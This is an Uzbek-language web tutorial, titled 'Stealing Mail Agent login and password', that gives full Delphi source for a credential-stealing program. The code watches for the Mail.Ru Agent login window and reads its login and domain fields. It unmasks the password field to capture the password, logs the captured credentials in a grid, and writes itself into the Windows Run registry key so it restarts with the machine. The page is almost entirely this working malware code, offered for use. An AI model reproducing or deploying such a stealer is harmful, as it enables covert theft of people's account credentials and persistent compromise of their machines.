linkedin facebook linkedin facebook nod32

Mail agent loginini va parolini o’g’irlash

Muallif: Mengliyev Sh.

Qo`shilgan sana: 2014-10-30

Mail agent loginini va parolini o’g’irlash

Dastur dizayni uchun quyidagilar tanlanadi

Form1 ga:
    ListBox1 [Standard]
    ListBox2 [Standard]
    ListBox3 [Standard]
StringGrid1 [Additional]
Timer1 [System]
Form2 ga:
    LabeledEdit1 [Additional]
    LabeledEdit2 [Additional]
O’zgarishlar:
Form1:
ListBox1 {Visible=false}
ListBox2 {Visible=false}
ListBox3 {Visible=false}
StringGrid1 {Align=alClient; ColCount=2; FixedRows=1;
DefaultColWidth=160; DefaultRowHeight=18;
FixedCols=0; Options.goRangeSelect=false;
Options.goColSizing=true; Options.goRowSelect=true; ScrollBars=ssVertical}
Timer1 {Interval=1}

Form2:
LabeledEdit1 {EditLabel.Caption=Login;
ReadOnly=true; Color=clBtnFace}
LabeledEdit2 {EditLabel.Caption=Password;

ReadOnly=true; Color=clBtnFace}

Dastur kodi

Uses . . ., Registry;
. . .
var
Form1: TForm1;
wnd1, wnd2, wnd3, wnd4 :HWND;
f:Boolean;
n:Integer;

Timer1 => OnTimer

procedure TForm1.Timer1Timer(Sender: TObject);
var
log, prf, pas:array[0..255] of char;
n1, n2, n3:Integer;
s1, s2, s3:String;
begin
wnd1 := FindWindow(nil,'Авторизация пользователя');
if (f) and (wnd1=0) then
begin
n1:=ListBox1.Items.Count ;
n2:=ListBox2.Items.Count ;
n3:=ListBox3.Items.Count ;
StringGrid1.RowCount :=n;
if (n1<>0) and (n2<>0) and (n3<>0) then
begin
StringGrid1.Cells[0,n-1]:=
ListBox1.Items.Strings[n1-1]+
ListBox2.Items.Strings[n2-1];
StringGrid1.Cells[1,n-1]:=
ListBox3.Items.Strings[n3-1] ;
Inc(n);
end;
f:=false;
ListBox1.Clear;
ListBox2.Clear;
ListBox3.Clear;
end;
if (wnd1<>0) then
begin
f:=true;
wnd2 := FindWindowEx (wnd1,0,'Edit',nil);
wnd3 := FindWindowEx (wnd1,wnd2,'Edit',nil);
wnd4 := FindWindowEx (wnd1,0,'ComboBox',nil);
SendMessage(wnd2,WM_GETTEXT ,255,integer(@log));
SendMessage(wnd4,WM_GETTEXT ,255,integer(@prf));
PostMessage(wnd3,EM_SETPASSWORDCHAR ,0,0);
SendMessage(wnd3,WM_GETTEXT ,255,integer(@pas));
if (StrPas(log)<>'') then
ListBox1.Items.Add(StrPas(log));
if (StrPas(prf)<>'') then
ListBox2.Items.Add(StrPas(prf));
if (StrPas(pas)<>'') then
ListBox3.Items.Add(StrPas(pas));
n1:=ListBox1.Items.Count ;
n2:=ListBox2.Items.Count ;
n3:=ListBox3.Items.Count ;
if (n1>1) then
begin
s1:=ListBox1.Items.Strings[n1-1];
if (s1=ListBox1.Items.Strings[n1-2]) then
ListBox1.Items.Delete(n1-1);
end;
if (n2>1) then
begin
s2:=ListBox2.Items.Strings[n2-1];
if (s2=ListBox2.Items.Strings[n2-2]) then
ListBox2.Items.Delete(n2-1);
end;
if (n3>1) then
begin
s3:=ListBox3.Items.Strings[n3-1];
if (s3=ListBox3.Items.Strings[n3-2]) then
ListBox3.Items.Delete(n3-1);
end;
PostMessage(wnd3,EM_SETPASSWORDCHAR ,149,0);
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
var reg:TRegistry ;
begin
reg:=TRegistry.Create ;
reg.RootKey :=HKEY_LOCAL_MACHINE ;
reg.OpenKey('Software\Microsoft\Windows\
CurrentVersion\Run',false);
reg.WriteString('GetAgentPas',Application.ExeName );
reg.CloseKey ;
f:=false;
n:=2;
StringGrid1.Cells[0,0]:='Login';
StringGrid1.Cells[1,0]:='Password';
end;

procedure TForm1.StringGrid1DblClick(Sender: TObject);
var line:Integer;
begin
line:=StringGrid1.Row ;
Form2.LabeledEdit1.Text :=StringGrid1.Cells[0,line];
Form2.LabeledEdit2.Text :=StringGrid1.Cells[1,line];
Form2.Show;
end;

procedure TForm2.FormResize(Sender: TObject);
begin
LabeledEdit1.Width :=Form2.Width –
3*LabeledEdit1.Left;
LabeledEdit2.Width :=Form2.Width –
3*LabeledEdit2.Left;
Self.Height := 126;
end;

2170 marta o`qildi.

Parol:
Eslab qolish.


Ro`yhatdan o`tish

testing

+998915878681

Siz o`z maxsulotingizni 3D reklama ko`rinishda bo`lishini xohlaysizmi? Unda xamkorlik qilamiz.

3D Reklama


Рейтинг@Mail.ru
Рейтинг@Mail.ru

Besucherzahler
счетчик посещений